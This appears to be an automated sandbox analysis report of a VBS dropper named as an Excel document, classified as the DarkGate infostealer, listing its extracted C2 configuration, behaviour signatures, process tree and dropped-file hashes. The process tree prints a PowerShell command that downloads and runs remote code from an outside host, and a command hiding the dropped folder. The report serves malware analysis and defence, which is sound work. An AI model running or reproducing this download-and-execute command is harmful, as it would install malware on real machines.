Resubmissions

12-08-2024 11:41

240812-ntgelazapr 8

08-05-2024 15:00

240508-sdtr7sab2w 8

05-04-2024 15:07

240405-shpdaafc3v 10

04-04-2024 20:19

240404-y3t26aaa37 10

Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-04-2024 15:07

General

  • Target

    EXCEL_DOCUMENT_OPEN.vbs

  • Size

    23KB

  • MD5

    6925ed4c3665b27592c356b0bbd4948d

  • SHA1

    7429a3929f68c87af85266c5d304f3e26e11a8c0

  • SHA256

    5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77

  • SHA512

    333ffd943ea86e75822f6c59412fe12b77f95ddeffd1f0286606faab19b595b27b528457158cc6afe2dcb75455ce9e1fb012ddf171f895135fc90e9d249599b6

  • SSDEEP

    384:J0Y5Y65Go4F0yNWe037NwNAUihUN+0X2RyiUiK3xYUif3JNB6Bcy:hYFFFNWe037NwNAUiKNIRyiUiK3xYUi2

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

wpseed.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    BxIcizdM

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EXCEL_DOCUMENT_OPEN.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4456
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'irreceiver.com/lcyqeksm')
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2412
      • C:\jhxi\AutoHotkey.exe
        "C:\jhxi\AutoHotkey.exe" C:/jhxi/script.ahk
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:4664
      • C:\Windows\system32\attrib.exe
        "C:\Windows\system32\attrib.exe" +h C:/jhxi/
        3⤵
        • Views/modifies file attributes
        PID:4576
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3984 --field-trial-handle=2252,i,16022092570067181109,3235558581947505669,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:3312

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_amkk0f1i.4nz.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\jhxi\AutoHotkey.exe

      Filesize

      892KB

      MD5

      a59a2d3e5dda7aca6ec879263aa42fd3

      SHA1

      312d496ec90eb30d5319307d47bfef602b6b8c6c

      SHA256

      897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

      SHA512

      852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

    • C:\jhxi\script.ahk

      Filesize

      441B

      MD5

      edca4feb4f8c7c1ae1a48f66828835d5

      SHA1

      448c0ea5b6e757d04adc6553b1bfb4c0c6d6e8ff

      SHA256

      e34f6758a1b84d68266447f5b06a0915fecf413722d961a5013fd33a1e20aa27

      SHA512

      ba71479e4cc79463d641c1410234a36a58733ab9b5d5189930ab182aeda7fb12fda213b4ce850141c15bf9f10dd83a01f217dc15dd7dce44b55b63a049f77900

    • C:\jhxi\test.txt

      Filesize

      923KB

      MD5

      9b6b44cc34fb0ec0eccd43217c66cb40

      SHA1

      06daaa1a1a811ba345c15c68ad4b799fd7ad7f68

      SHA256

      42eb2d253a7eb7f3e5e2c9da496e1c1d19661fa14cba599afbd3d2f343b1afa6

      SHA512

      dfc24a3561b02b93656e164286eb2146f19bd2a8fa979df103573104bec9ac6cdc12a776bf9f12a29e4bc5b531547d979dac3b28e816a6295662171b5b8eec25

    • memory/2412-9-0x00000173B6260000-0x00000173B6282000-memory.dmp

      Filesize

      136KB

    • memory/2412-10-0x00007FFAE8B30000-0x00007FFAE95F1000-memory.dmp

      Filesize

      10.8MB

    • memory/2412-11-0x000001739C260000-0x000001739C270000-memory.dmp

      Filesize

      64KB

    • memory/2412-12-0x000001739C260000-0x000001739C270000-memory.dmp

      Filesize

      64KB

    • memory/2412-13-0x00000173B6890000-0x00000173B6A52000-memory.dmp

      Filesize

      1.8MB

    • memory/2412-31-0x00007FFAE8B30000-0x00007FFAE95F1000-memory.dmp

      Filesize

      10.8MB

    • memory/4664-34-0x0000000000AA0000-0x0000000000B14000-memory.dmp

      Filesize

      464KB

    • memory/4664-36-0x0000000000AA0000-0x0000000000B14000-memory.dmp

      Filesize

      464KB